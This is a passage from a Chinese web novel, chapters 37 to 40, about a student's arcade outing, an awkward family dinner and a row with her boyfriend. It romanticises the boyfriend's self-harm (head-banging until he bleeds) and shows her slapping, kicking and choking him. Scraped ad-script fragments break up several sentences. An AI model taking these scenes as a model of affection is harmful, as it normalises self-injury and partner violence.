“好看。”薛谭如实点点头,同时挣开两个男人的手,上前走到李铭泽身边与他搭话:“不好意思让你久等了。” “哎呀,没有啦,我也刚到。”李铭泽摆摆手,自然与女孩一起走上通往负一楼的电梯,“小姨知道我要带朋友一起来玩可开心了,啊不过你放心,虽然是新开的电玩城不过里面玩乐设施很丰富的,绝对不会叫你感到无聊。” “当然不会!”一走下电梯薛谭就见到了矗立在检票口前的大立牌,那是游戏《无头boss爱上我》里反派的立牌,这个游戏在线下有打卡活动,上传照片到社交平台可以免费领取周边商品,而且做相关的小游戏也会有限定奖励。她答应李铭泽的邀请就是为了这个活动。 她立即跑过去对着立牌看了又看,高兴地朝李铭泽招手,“你来帮我拍照吧!” “好嘞!”李铭泽从背包里掏出相机,询问:“我可以用相机给你拍照吗?” 薛谭犹豫两秒,还是递出手机,“没关系,就用手机拍吧。” 李铭泽也不多说什么,利落放下相机开始帮助薛谭拍照,过程中还指导着薛谭这个拍照只会比耶的人做了好几个出片的动作。 薛谭检查成果时惊叹:“你拍的也太好了吧!”光影和构图都很绝。她挠了挠头,“我本来也想帮你拍的,不过我拍照不好看。”说到这里,她对孟文霖说:“你来帮他拍照吧。”孟文霖经常给她拍照,技术还不错。 李铭泽嘴角笑容扩大,看上去很开心的样子,“薛谭,我们一起合照吧。”得到女孩同意后,他把手里的手机交给孟文霖,依旧是随和亲切的笑容,只是眼里多了几分挑衅,“那就麻烦你了。” 孟文霖才懒得给李铭泽好脸色,他根本不把这个男生放在眼里,接过手机后镜头聚焦他的桃桃拍了好几张照。拍完后,他也提出要跟女孩一起拍照,可惜薛谭拍了很多脸都笑僵了,无情拒绝。 一般节假日电玩城人都很多,这里虽然是新店,但因为有专门的打卡活动自带热度,所以人流量还挺大。薛谭几人买完票后得到了店员赠送的一桶抓娃娃的游戏币,她惊讶推拒:“没关系没关系,我们用不了那么多。” 虽然李铭泽保证了有他在饮品畅饮娃娃机里的娃娃可以随便抓,不过他们二人并不是十分要好的朋友关系,顶多算同好,她可不会真的把娃娃机抓个空。 “没事的。”李铭泽代薛谭收下,安慰:“抓不完我们再还回去就好了。” 薛谭坚持:“拿一半就好了。” 门票包含了电玩城内除娃娃机以外的所有项目,娃娃机就在闸机旁边,薛谭看了眼《无头boss爱上我》活动台前排的常常一条队伍,忍不住担心:“周边不会已经分发完了吧?” “不会的。”李铭泽解释:“这个活动持续三天,这三天只要去了就有周边商品和游戏奖励,限时不限量。” 薛谭听了竖大拇指:“很文明!” 得知这一点后,她不再担心,直奔娃娃机而去。 “桃桃还是那么喜欢抓娃娃。”瞧见女孩高兴的模样,孟文霖忍不住笑出来。他从李铭泽抱着的小桶里抓出一把游戏币,拉着薛谭一路看过去,“要抓哪一个呢?” 李铭泽也不甘示弱,抱着游戏币走在薛谭身边,建议:“干脆咱们都抓一遍好啦。” 这个电玩城娃娃机里的娃娃质量很高,都是正版娃娃,因此薛谭打算只抓一两个过过手瘾,目光忽然捕捉到角落里的蜘蛛玩偶,她下意识拍身边的人,“我们抓那个蜘蛛吧,那个肯定好抓!” “好啊好啊!”李铭泽清朗的少男音穿过吵吵嚷嚷的电音传入薛谭耳中,她愣了一下,回头搜寻盛晚,便见到带着口罩的少男安静站在后面,对上她的目光时很惊喜的样子,好看的眉眼弯了弯。 于是薛谭说:“我把这个蜘蛛抓出来送给你。” 盛晚笑意盈盈的双眸似乎有一刻的凝滞,旋即愈发浓重的幸福顺着他的目光流淌到薛谭身上。 目睹了这一切的孟文霖心如刀绞,桃桃都没有送过他东西...... 薛谭说干就干,可惜激情不是实力—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 连续抓空两次掉落三次后,薛谭气得打了旁边孟文霖一拳。可恶的娃娃机竟敢跟她作对! 孟文霖吃痛地捂住肚子,薛谭力气一向很大,他感觉自己胃都被打了一个洞。 一直默默无声不参与他们之间争斗的盛晚却在此时忽然走上前,不动声色隔开孟文霖,为薛谭投币,“没关系,抓娃娃就是图个开心嘛,随便抓好了,抓不到我可以给谭谭做一个一样的。” 薛谭拆穿:“那你侵权了。” 盛晚立马说:“做个比这里面好看一百倍的。” 薛谭被逗笑,重振旗鼓连续抓了三次,终于进去一个!虽然成功率比较低,但她还是很高兴地拿出娃娃递给盛晚:“送给你。” 盛晚呆呆望着女孩,她的转身回眸,她的一言一语,她伸手递娃娃的动作,一切都宛如电影慢镜头在他眼中无限放大。 他听到自己比哄乱电音还要响的心跳声。 接过娃娃的一瞬间,眼底的酸涩再也忍不住,盛晚慌忙低下头掩饰难以抑制的泪水,将口罩网上提了提,小声说:“谭谭,我想去一下卫生间。” 薛谭知道盛晚爱哭,可没想到仅仅是送个玩偶少男都能抹眼泪。好丢脸啊,她挥挥手:“赶紧走。”真是,早知道不带这个丢人现眼的玩意出来了。 盛晚大步流星离开,刚刚走出电玩城便再也支撑不住蹲在墙角,捂着脸哭了起来。 滔天的愧疚几乎把他淹没,他将脸埋进衣袖里,嘴上死死咬住另一只手食指指关节处不让自己哭出声。 他真是太过分了! 盛晚一想到前几天吃醋的自己就恨不得穿越回去揍他一顿。他到底是怎么想的?谭谭那么爱他,不仅那么多次送他珍贵的树叶和浪漫的心形石头,这一次还直接为自己抓了娃娃,世界上哪里还有像谭谭这样对他如此好的人? 而他呢?他做了什么?他竟然怀疑谭谭对自己的爱,还那么不懂事的吃醋!明明已经走了八百辈子的运遇到谭谭那么好的女人,他却不懂得珍惜,整日争风吃醋疑心深重,如果说谭谭是世界上最好的女人,那他就是世界上最差劲的男人! 怪不得谭谭会想和孟文霖睡觉,一定是他这个男朋友做的太糟糕了让女孩产生压力了,所以谭谭才会想要找外面的野男人放松一下。 想到这里,盛晚牙齿忍不住用力,嘴里很快尝到了铁锈味。 他怎么那么贱那么可恶他简直罪大恶极! 盛晚为自己的这一发现羞愧不已,快要恨死现在的自己了。泪水糊满了脸,他摘下濡湿的口罩急速翻出新的带上,惩罚自己般一遍又一遍往墙上砸脑袋。 旁边的人像看疯子一般惊惧地绕过盛晚,生怕这个神经病做出什么伤害人的举动。 直到专属于薛谭的电话铃声忽然响起,盛晚才猛地停下撞墙的动作,着急忙慌掏出手机接听,红色的液体滴落在手机上,他不甚在意地擦掉,又抬起手伸进黏糊的发丝里抹了一把,不让血液流到脸上。 他刚刚撞墙的时候注意了,没有撞到脸,这可是谭谭最喜欢的脸,他要好好保护。 38. 第 38 章 “怎么那么慢啊。”薛谭埋怨,拉着盛晚走到领取周边的队伍后面排队,“周边随机,咱们四个都去领,肯定能领到勇者小姐的那一份。” “一定可以的!”李铭泽握拳附和,他忽然想起什么看向薛谭,“哦对了,明天元旦晚会你要去看吗?虽然是在操场上搭的台子,但是郭斯洁说要是去得早说不定能在前排抢到座位。” “去。”薛谭补充:“我和郭斯洁一起去看。不过到时候人真的会很多吗?” 李铭泽也不确定,“我也觉得人不会很多,毕竟期末周大家都忙着复习,考完的人估计也都回家了。不过来了有素质分,也不一定啦。”他笑了一下,“没想到你那么快就能和郭斯洁玩得来了,去年她拉我入社团的时候可是把我吓了一跳呢,大一的时候老害怕她了。” 薛谭刚开始确实挺怕郭斯洁的,不过经过几次相处之后她能感觉到女生只是性格比较跳脱,其实是个非常好的人。 前几天犹豫了很久要不要去看元旦晚会,主要还是担心会在那里碰上卓钦,她现在还不知道该怎么面对那个人,上一回卓钦就提出要和她谈话,被她拒绝了,万一元旦晚会还没死心该怎么办? 虽然这么想着,但想见郭斯洁的心情还是占据了上风。她对《海神大人她说不》这个剧本还挺感兴趣,想和郭斯洁当面讨论一下。 终于排到了他们,薛谭很幸运领取到了勇者小姐的徽章,而盛晚抽中的是无头boss。 孟文霖和李铭泽都把自己抽到的周边给薛谭,盛晚也递过去,本来他们三个就是来陪薛谭的。 李铭泽扯住薛谭袖口指了指旁边,“那边还有小游戏,顺利通关后有奖励。” 薛谭在旁边张望了一会,“是什么奖励啊?” 李铭泽打开手机查看,“好像是游戏内一些风景的明信片。” 薛谭对这些不是很感兴趣,但好得是官方出品不要白不要,她不想排队了于是指挥全程当个闲人的盛晚过去。 少男乖巧往那边走了两步,突然停下来不好意思地看向薛谭,“谭谭,那个游戏我不太擅长,可能会失败。” 李铭泽很积极:“那我去吧!” 薛谭也是才反应过来盛晚打游戏非常菜,而且怎么学都学不会,简直像个没碰过游戏机的老年人一样。她瞪了盛晚一眼,笑着对李铭泽说:“那就麻烦你了!” 李铭泽把书包递给盛晚,笑容和善,“能帮我拿一下包吗?” 盛晚没有动作,看向旁边的女孩。 薛谭一愣,有些不开心,她快步走过去把伸出胳膊把盛晚挡在身后,吩咐孟文霖,“你拿着。” 观察到薛谭骤然冷下的脸色,李铭泽心中诧异,慌张一瞬便很快冷静下来,将手里的包递给孟文霖,诚恳向薛谭道歉。心里止不住失落,同时又不可避免地升起对盛晚的羡慕。 薛谭依旧有些不开心,对她来说,盛晚就是自己的所属物,她讨厌任何人接触盛晚。到底还要李铭泽帮忙拿奖励,她摆摆手没有多说什么,带着孟文霖和盛晚两人离开了。 “桃桃。”孟文霖攥住薛谭的手,期待地指着一边,“咱们去拍大头贴吧!”他举起手里刚刚领到的周边,“咱们拿着周边,和勇者小姐一起拍。” 不得不说孟文霖很聪明,他要是直接说要和薛谭搞那么麻烦的事情,一定会被薛谭毫不犹豫拒绝。 “好啊。”她顺手把手里的饮料递给盛晚,“在外面等我们。” 盛晚掩藏在口罩下的笑容顷刻间消失,露出来的眉眼却还笑得弯弯,若是摘下口罩任何人都会被他这副奇怪的表情吓一跳。 进去后,孟文霖不再掩饰自己的醋意:“桃桃真喜欢盛晚。” 薛谭一边挑选一会拍照要用的周边,一边语气夸张地说:“是啊,我喜欢盛晚,我可太爱他了,所以你这个不被爱的人赶紧去死吧。” 孟文霖一噎,小声嘟囔:“从前桃桃都不会这样对我讲话的。” “哦?”薛谭的声音不辨喜怒:“我怎么讲话了?” “......让我死什么的。”孟文霖话音越来越小,连忙转移话题:“这里还有好多小道具,我们选——” 薛谭啪的一声把周边按在桌子上,“从前的我是什么样子的?每天跟你和声和气讲话什么都无所谓的态度?”她转头盯着孟文霖,脸色已然沉了下来:“从前我只认识你,我的世界只有你和妈妈,对于你们我也没有别的有新意的话可说。直到上大学,我认识了很多朋友,才发现其实人的性格不是一成不变的,因为相处的人不同,所以自己展现出来的态度也不尽相同。” 她冷静看着他,“我想怎么说话就怎么说话,你不要再总是一副落寞的、被抛弃在原地的样子,我不是你和妈妈的附庸,倘若我的改变会对不起一个人,那也只有我自己。” 郭斯洁那天晚上“奇怪”的话自分别后就始终萦绕在薛谭心头,她久久无法忘记,却始终不得要领,直到孟文霖方才的一句抱怨才终于点醒她。 是她一直固步自封,深陷自卑的囹圄,奢望改变过去的自己,却又始终不敢相信自己拥有改变的力量。哪怕意识到一点改变的迹象,也会被她亲手扼杀——自我催眠还是以前好。 可是以前真的好吗? 只活在被妈妈和孟文霖所占据世界里的自己,真的好吗? 薛谭调好设备,举起勇者小姐的周边,平静说:“开始拍照了。” 孟文霖仍旧沉浸在薛谭刚才的话中,只是呆呆望着镜头,直到四张照片全部拍好,女孩拿着冲印好的照片走出去,掀开的帘子带起一阵风,他才恍然意识到从来不是桃桃抛弃了他,是他自己,没有跟上女孩前进的步伐。 他们出来后,李铭泽也顺利领取奖励回来,他把包装在一起的五张明信片递给薛谭,神色自得:“满分一把过!” “很厉害!”薛谭毫不吝啬夸奖,拆开包装袋拿出一张送给李铭泽。 少男简直受宠若惊,眉梢眼角都染上喜色,开心接下:“谢谢啊。”他环视四周,“还有什么要玩的吗?” “我没有了。”薛谭有礼貌询问:“你呢?” “我也玩够了!今天真开心啊。”李铭泽举起明信片看了又看,爱不释手,见到孟文霖失魂落魄走过来后,他提议:“咱们一起去吃饭吧。” 薛谭刚想同意,孟文霖便勉强笑了笑,开口:“谭谭,薛阿姨说我们一起在外面吃个饭。” 她一愣,打开手机查看果 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然发现薛韵半个小时前发消息说带她出去和孟之宁一家人一起吃饭,有卓钦的事情横亘在两人之间,她没有忘记女人当时的含糊其辞,因而此时也说不上高兴,但她很少拒绝薛韵:【好的。】 “下次吧。”她冲李铭泽笑了笑,把自己的东西全部交给盛晚,安排:“你先回家吧。” 盛晚露出的半张脸看上去有些苍白,他速度非常缓慢地眨了一下眼,不愿意死心,“那今天晚上还一起跨年吗?” “这个......”薛谭打开手机算了一下时间,“不能去钟楼了,不过我可能回家。” 于是刹那间,盛晚好像周身绽放许多粉色小花一般开心笑起来:“嗯!那我在家等谭谭。” 李铭泽被这一幕刺得眼睛发酸,孟文霖可以和薛谭一起吃饭,盛晚是薛谭名正言顺的男朋友,能够陪她一起跨年。而他,从始至终都是个可笑的局外人,再怎么努力融入其中,都比不过另外两个男人。 和孟文霖一起来到薛韵发过来的地点,发现竟然是一家火锅店,薛谭不免震惊,总觉得薛韵在其中会格格不入,毕竟女人看上去应该与高档餐厅相配。 然而走进去看到那个脱下外套,随意坐在座位上与多年好友相谈甚欢的女人,薛谭才后知后觉反应过来薛韵一开始是连火锅都只能在逢年过节时带女儿来吃一顿的人。 薛韵远远便望见了薛谭,停下说笑,向她招招手。而坐在她对面的长发女人也在此时转过头—— “喔,是桃桃呀。”女人举起啤酒打了个招呼便没再说话。 薛谭和孟文霖一前一后走过去,分别坐在各自的母亲旁边。 孟之宁还喝着啤酒,眼神不知落在哪出发呆,过了一会打个酒嗝,转过头视线在两个孩子之间飘了飘,看热闹:“你俩吵架了?” “没有!”孟文霖在孟之宁面前像小鸡仔似的惶惶不安,“我怎么会和桃桃吵架。” 孟之宁顶着看穿一切的表情哼了一声,懒得拆穿。 薛韵接过菜单又递给薛谭,“看看吃什么。” 薛谭选了几道爱吃的,还回去。 女人似乎有片刻怔愣,掀起眼皮多看了薛谭几眼,又把菜单递给孟文霖。 选好菜后交给服务员,而后便是久久的沉默。 非常安静的四个人。 孟之宁眼神放空,哼着没人听过的调子自娱自乐,薛韵低头在手机上工作,孟文霖几次抬头看薛谭,欲言又止。 而薛谭正在手机上敲敲打打构思《海神大人她说不》。 “噢对了,桃桃啊。”率先打破这片寂静的是孟之宁,“你怎么跟文霖分手了啊。”她用筷子搅拌易拉罐里的啤酒,被薛韵夺过来拔出筷子。 “因为遇到了更喜欢的人。”薛韵诚实回答。 “欸——不是吧——”孟之宁拖长声音,脸上平静无波,没有好奇也没有惊讶,就这样淡淡问出了震惊另外三个人的问题:“那你是更喜欢他还是更喜欢你妈妈?” “哈?”薛谭不理解。 无视薛韵刀子一般射过来的眼神,孟之宁一边费劲思索一边摇晃着啤酒,伸出食指在空中点两下,“就是那个问题啊,那个——男朋友和妈妈同时掉进河里,你先救谁?” 39. 第 39 章 “我......”薛谭顿了下,脱口而出:“当然是救妈妈啊。” 孟之宁点点头,胳膊肘戳了戳儿子,“你问你薛阿姨桃桃和姓万那男的同时掉进河里她先救谁。” “妈!”孟文霖急得连忙小声制止。 他们几个小辈最怕的就是薛韵了,无论是薛谭孟文霖抑或是万晨霜,见了薛韵犹如见了猫的耗子,一个个恨不得立即逃窜四方躲在墙缝里。 “好了。”薛韵给薛谭和孟文霖分别倒了一杯橙汁,抬眼暗含警告地投以对面女人一眼,“快点吃饭吧,桃桃一会还要回去。” 孟之宁满不在乎:“我送她啊。”她双手扯住孟文霖的脸颊让他正对着薛韵,威胁:“快点问!” 孟文霖憋得满脸通红,薛谭也尴尬的脚趾扣地,恳求一般喊道:“孟阿姨别问了,我才不要和他比。” “你妈都跟你那个小男——啊”孟之宁吃痛地捂住腿,向薛谭告状:“你妈怎么打人啊!”看出薛韵是真的生气了,她识相不再说什么,只是嘟嘟囔囔抱怨:“还不是为了你们好......” 一顿饭吃的薛谭浑身长了刺一般不自在,第一次没有好好享受美食,只想赶快结束逃离这里。却万万没想到结束后有更加难以面对的等着自己—— “天太晚了,我送你回去吧。”薛韵穿上外头,拿起车钥匙低头看向薛谭,等她跟上来。 薛谭眼神飘忽,“我可以自己打车回去。” “我送你。”薛韵不容拒绝地站在那里一动不动,就等着薛谭起身。 孟之宁还在旁边催促:“赶紧走啊桃桃,你占着位人店员该不开心了。” 薛韵和孟文霖同时责怪: “孟之宁。” “妈你说什么啊!” 孟之宁推开薛韵,不容拒绝地将缩在座位上的女孩拉起来,“我送桃桃回去。” 薛韵无奈,一字一顿对笑嘻嘻的孟之宁强调:“首先你喝酒了,其次你坐我车来的。” 孟之宁嚷嚷:“那你刚才咋不说送我嘞?” 薛韵沉声说:“我给你俩打车。” “好冷漠啊。”孟之宁把薛韵拽到自己身后,又突然把孟文霖推到薛韵前面,“我打车送桃桃回去,你把孟文霖带回去好吧。”不等薛韵回答她就连忙拉着薛谭跑了。 薛谭一惊,连忙往后拽胳膊,虽然不想和薛韵一起相处,但是如果共出一车的人是孟之宁的话,她宁愿坐薛韵的车回家。 “孟阿姨!”薛韵没想到孟之宁力气那么大,她被女人按在路边欲哭无泪,“我自己打车回去就好,您不用担心。” “哎呦我也得打车啊。”孟之宁的声音被风吹散,飘忽不定,“咱来一起呗,阿姨想你啦,别那么冷漠哈。” 薛谭才没有冷漠!她最讨厌孟之宁随随便便给她扣帽子了,从小到大都是这个样子! 还记得小时候有一次薛谭奉薛韵的要求要给孟之宁送一个文件,因为十分紧急,薛谭给女人发消息【阿姨您在家吗?妈妈让我给你送个文件,我现在给您送过去?】没得到回应,但由于薛韵说孟之宁肯定在家,她以为女人只是在忙没有看到手机消息,所以就敲响了对面的门想要直接过去。 敲了一会孟之宁便顶着一张面无表情的脸过来开门,无声接过后把门摔得老响,直接把当时的薛谭给吓哭了。 后来孟之宁倒是给薛谭发消息解释了:【嗯,你咋13点来找我......被你吵醒了。而且,文件,要是需要,我醒了之后会回复你。要是不需要,你来了也没用。所以你慌啥?】 薛谭:【啊,对不起!抱歉,我不知道您在睡觉,真的不好意思。】 孟之宁:【没事儿桃。13点不是正常午睡时间嘛,23点以后也是晚上睡觉时间啊。桃你以后不慌哈。这个文件我不需要。】 那时薛谭躲在房间里看到女人发过来的消息简直想引爆地球!但是她引爆不了!她!是个吵醒别人的废物!所以干脆把她逐出这个需要午睡的人类所生活的地球吧!到底该怎么办到底该怎么回复继续道歉吗跪地求饶吗要不然切腹自尽吧。 她哭着打字:【对不起我真的不知道您在睡觉,所以以为阿姨您是没有看到消息,再加上妈妈说要赶快送文件所以才去找您的,下次一定不会了!真的不好意思。】 孟之宁“正在输入中”持续许久,发过来一段超长的话:【啊哈哈没事没事真的没事~不用内耗小桃桃。但我本人可以给个建议哈,你看,你遇事冷静一点,不要慌~感觉你好容易慌呀桃桃~比如这次,如果我不需要,那等会你找我也没用,如果我需要,那等我醒了会回复你的(因为我不可能正好13点需要啊人家员工还得上班呢)所以真的不用那么慌那么急~】 所以都说了她没慌她没急啊啊啊为什么要说她是容易慌张的人!真是,谁知道她在睡觉啊,谁能想到她在睡觉啊,她要是知道她在睡觉当然不会去找她啊! 太生气了太讨厌了,薛谭顿时心不痛了泪也不流了,气得在房间里转来转去,恨不得趴到孟之宁耳朵里大喊:“我才不是慌张的人!” 好难受好生气好讨厌自己!薛谭拿起手机啪啪打字:【好的!我记住了!】她在心底不断告诫自己:孟之宁是长辈,而且和她理论这些没有用,反正两人也不会有什么很深的交集,她不能陷入自证陷阱,再说了不就是被误会成是容易慌张的人吗?这没什么大不了的,对,没什么大不了的,没什么大不了的...... 自那以后,无论薛韵多么好言相劝,薛谭都十分抗拒前往孟之宁家里。这种抵抗情绪一直持续到薛韵和万父结婚,薛谭搬进万家。 然而—— 有时人就是能如此不幸,薛谭高一那一年,事件重演了,她觉得自己更加冤枉了。 起因是薛韵和孟之宁带两个孩子一起出去玩,住在了一家民宿里,薛韵薛谭和孟之宁住在三床豪华间,孟文霖自己住标间。当时薛韵有点工作需要出去一趟,民宿老板那边有点事情需要找购票人签个表,正巧看见吃完饭从一楼走过去的薛谭,便叫住她让她把这张表给孟之宁。 那时她仍旧对小时候的事情心有余悸,不过看看时间才十二点零几分没到十三点,她们今天起的很晚,都是十点多醒来的,想着孟之宁应该不会在这个时间点睡午觉,便接过表上楼往房间走。 “孟阿姨?”她打开门发现屋内一片漆黑,愣了一下连忙闭上嘴。 躺在床上的人忽然坐起身,用气音问:“你干啥?” 薛谭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惶恐不安,走过去小心翼翼把表递给孟之宁,同样用气音解释:“老板让你在这上面签个字。” 哪怕看不清脸,她也能感受到女人的无奈和不耐烦,孟之宁哼了一声,语气不太好地说:“你放那吧,我一会就写,我现在困死了。”她又说:“你先出去吧,别再打扰我睡觉了。” “噢噢噢。”薛谭连忙轻手轻脚走出去带上门。 呆滞坐在一楼的沙发上,薛谭脑子一片空白。 完了完了,她又把孟之宁给吵醒了,女人一定该讨厌她了!孟之宁会不会给薛韵告状,薛韵会不会也因为好友的怨气而讨厌上她这个女儿?就算不讨厌也一定会心生不满地的对吧? 完蛋,她又搞砸了,想死。 ——不对! 薛谭猛地站起身,忽然反应过来她只是正常回到自己的房间,也没做错什么啊!她可没有忘记孟之宁十三点睡觉,特意确认过十二点零几分才过去的,再说了,没打开门之前她又不知道女人在睡觉。 对!薛谭重新坐回沙发,握紧拳头给自己打气:她没有做错事! 不过一分钟孟之宁果然发来消息:【桃桃,你可以下午给我啊。】 薛谭硬着头皮回复,尽量让自己显得不那么弱势:【我不知道您在睡觉。】 孟之宁只是说:【你又把我吵醒了,第二次了桃。】 她重复:【我不知道您在睡觉薛阿姨。】 孟之宁:【我们房间灯都关了那么安静。】很快接一条消息:【好的吧。】 薛谭这回是真的有点委屈了,【我在外面也没办法知道我们房间关灯了呀。】憋了一会气,又想两个人抬头不见低头见,她尽量催眠自己道歉只是应付孟之宁而已,没事,精神胜利法虽然可耻但对胆小鬼很有用!于是她快速打字发过去:【对不起对不起。】 孟之宁发过来一个笑哭的表情,【我睡啦哈。】【我今天睡得早,下午有事。】 啊啊啊啊啊啊啊啊啊啊!气死她了! 她做错了什么!她根本就什么都没做错!不开门她怎么知道房间的灯关了?不开门她怎么知道女人在睡觉?她、又、不、会、未、卜、先、知! 正常人谁能想到她十点多起床十二点零几就要睡觉啊?真以为全世界人都得像薛韵一样围着她转对她的一切都了如指掌吗? 薛谭气得到外面跑了两公里,气喘吁吁回来拿起免费供应的水边咕嘟咕嘟往嘴里灌。倒在沙发上诅咒全世界时看到孟之宁又发来一长串消息: 【我今天过会,再和你再强调一遍有关什么时候能找我的事儿吧。不要......再......出现......第三次了......你!!!午觉被吵醒了很难再睡着。我昨天十二点才睡觉今天早上十点多就醒来了......】 【我以后中午绝对不会再来找你了。】薛谭发完消息,直接把手机摔在沙发上。 “喔,车到了。”孟之宁的话讲薛谭从回忆拉回现实,她努力甩开孟之宁的胳膊,嘴巴张了张,而后下定决心说道:“孟阿姨也不和我顺路吧?不用那么麻烦了,我自己回去就好!” “不行。”孟之宁不顾薛谭的反抗便将女孩大力推进车里,冷声:“我要告诉你你妈跟卓钦的事。” 40. 第 40 章 几乎在同一时间,薛谭推开另一侧车门慌忙逃蹿出去,而孟之宁也立即绕过去用力抓住女孩,大声说:“和那件事有关!” 那件事?哪件事? 一簇白光在脑海中乍现,薛谭只觉浑身汗毛倒竖,指尖都在控制不住发抖,低声喃喃:“我不想听......”她猛地推开攀扯自己的女人,喊道:“我不想听!我不想知道!我讨厌你!” 她不管不顾开始在路边奔跑,身后似乎传来了薛韵气恼的怒吼。薛谭跑步的速度逐渐慢下来,犹疑转头去看,便瞧见薛韵低头劝哄倚靠在她身上的孟之宁。一时心头怒意更盛,她拦下路边一辆出租车直接回家。 走出电梯后,怒气冲冲的薛谭刚刚打开家门就看到只穿零星几片布料的盛晚,不待少男开口说些什么,她伸手一巴掌扇过去:“滚啊你个贱人!” 盛晚直接被她扇倒在地,泪水一下子如断了线的珠子直溜溜挂在他脸上,他担忧不已,连滚带爬起身跪在她脚边,“发生什么事了谭谭?谭谭——” “滚开!”薛谭一脚把这个像狗皮膏药一般纠缠不休的男人踹飞,她快步在客厅里走来走去,看什么都不顺眼,但凡撞入视野中的玩偶全部被她扫飞出去。 盛晚不知道短短几个小时内谭谭到底经历了什么竟然如此伤心,裸露在外的肩胛骨好像撞上了桌角,疼痛从后背蔓延很快撕扯全身,大概身上还有别的伤痛。他捂着肚子费力支撑起身体,捡起地上的红色毛衣几下套好,走过去用力抱住不断对他拳打脚踢的女孩。 “谭谭,谭谭......”他轻柔却不容拒绝地一下一下抚摸薛谭的发顶,断断续续地说:“谭谭,对不起,我不知道发生什么事情了,如果你愿意告诉我,我一定会尽我做能帮你解决问题......要是我还没有资格知道令谭谭伤心的事,我也一定,绝对会陪在谭谭身边,我永远在谭谭身边支持谭谭,我永远爱你。” 薛谭突然有一瞬间的安静,而后大力推开盛晚,少男脑袋磕在墙上发出“咚”的一声,她拿起手边的花束砸在男人身上,厉声道:“我不需要!我不需要你!你只是我的一个物件,有什么资格摆出这么一副高高在上救赎人的嘴脸?你以为你是个什么东西?还真把自己当圣父了?” 她急速喘了几口气,“我薛谭还没脆弱到需要一个男的来拯救,带着你廉价的支持和爱滚蛋,我也不需要你的陪伴,我现在根本不想见到你!” 薛谭掐住盛晚的脖子把少男一路拖出去仍在走廊上,目光冰冷地俯视着狼狈不堪的少男,“再敢高高在上对我施舍你的爱就去死。” 嘭的一声关上门,薛谭背靠在门上缓缓蹲下去,不停在脑子里催眠忘掉那件事忘掉那件事。她捂住脑袋,努力调整呼吸,安慰自己:没关系的,她已经把那件事遗忘了十几年,这次肯定也能完整忘记的,不去想它就好。 她在地上蹲了许久,掌心落满了泪水湿哒哒的。用力在衣服上抹去,薛谭扶着墙壁缓缓站起身,一步一步走到沙发前,打开电视选择动物频道的纪录片,抱着曲起的双腿一眨不眨盯着看。 蓝色方块倒映在薛谭黑漆漆的眼眸中,显现出冰冷的暗芒。她面无表情地、几乎称得上全神贯注地直勾勾看着电视机。 纪录片正好播放到海洋领域,介绍了一种名叫大西洋海刺水母的生物。 大西洋海刺水母伞体主要呈现白色,伞体下面延伸着丝丝缕缕密密麻麻的白色触须,口腕犹如飘逸卷曲的乳白色丝绸,灵动非常。 不知是水母在深蓝色海水中飘渺的身姿变化得过于快了,还是因为眼睛有些酸了,薛谭感觉几只水母白白的一团,看不清了。她眨了眨干涩的眼睛,清楚现在必须要给自己找点事情做,于是她继续看下去。 这种生物主要分布在大西洋、印度洋、太平洋热带和亚热带等地区,以甲壳类、其他水母及小型鱼类为食。 薛谭漫无目的地想,她肯定一辈子都看不到这种生物。 巧合的是,她刚刚冒出这个说法,电视里解说员便介绍道:“大西洋海刺水母也被人们称为永远无法到达的彼岸。亚特兰蒂斯是波塞冬赠与大西洋最美的恩赐,它是柏拉图眼中‘船永远无法到达的彼岸’,大西洋海刺更是亚特兰蒂斯隐秘于大西洋前,留下的最后关于爱与理想的化身,即便世间所有的不美好向你侵袭,但我仍愿对你炙热无悔。” 什么啊,薛谭撇撇嘴,她一直不喜欢给动物赋予这样那样的人类情感,动物就是动物,它们生存在自然中,最后也消弭于自然界里,如果非要她给动物们定义一个完美的人——动物生,那么这就是了。然而就是这看似寻常到“本就是如此吧”的生命历程,依旧有许多野生动物无法触及。 毕竟就像是郭斯洁构思的剧本里,身体因海洋污染而千疮百孔的海神之下,是无数死于污染的海洋生物。 其实很多人也没那么好,和他们比起来,薛谭也没有那么糟糕。 她看了一整晚的纪录片,满脑子都是各种奇奇怪怪的生物特性以及对于《海神大人她说不》许多新想法。 看得头晕眼花。 薛谭关掉电视来到窗前,下意识闭上眼睛一把拉开窗帘,预想中的刺目晨光没有到来,天空阴沉沉一片。她又把窗帘全部拉开,一眼望过去全是乌云。 打开手机查看了一下,今天果真百分之七十的降雨率。郭斯洁给她发来消息: 【今天要下雨啊啊真讨厌啊,不过学妹放心啦,元旦晚会照常进行,地点改成文体会堂了哦。】 【真是,我早说就该在文体会堂举行,本来大家期末周就累的不行,都元旦晚会了还得让人家站在那看,不讲理耶。】 【果然是老天奶都看不下去咱们学校所以降雨了吧哼哼,太好了,这下可以坐在宽敞的会堂看了啊啊啊激动!我会先给你占个前排的位的!】 【好激动好激动好期待好期待,要见到学妹了真开心,我跟你说啊,那个《海神大人她说不》我又冒出可多新想法,一定要讲给你听!】 薛谭勾起嘴角,再次抬头看向窗外, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只觉得漫天乌云都变得明媚起来了。看天气预报应该只是小雨,到时候带把伞好了。 她放下手机充上电,洗漱过完回到卧室睡了一觉,醒来后又在床上躺了一会将自己昨夜关于《海神大人她说不》的新构思发给郭斯洁,女人兴高采烈最终还是没忍住把自己的想法在手机上和薛谭说了。 薛谭觉得心情好多了,她起床来到厨房给自己煮了粥,认认真真炒了三道菜,这还是她和盛晚谈恋爱后第一次做那么丰盛的饭。 吃完后已经下午四点多了,薛谭在沙发上发了会呆,看着乱糟糟的屋子突然生气一股干劲,学着盛晚的样子系上围裙把家里收拾了一遍。摆放娃娃时,盛晚送给她的那只黑猫玩偶一直立不起来,她也不烦,就是脑袋空荡荡地跪坐在地上,重复将它放正的动作。 门铃声忽然在此时响起,薛谭手上动作一顿,黑猫玩偶一骨碌滚倒在地,霎时间,心脏猛地跳了一下,她几次想要拾起地上的玩偶,却怎么也抓不住。 “桃啊。” 熟悉的女声在身后响起,她毛骨悚然转头看去,见到了她拼命逃离的那个女人。 是孟之宁。 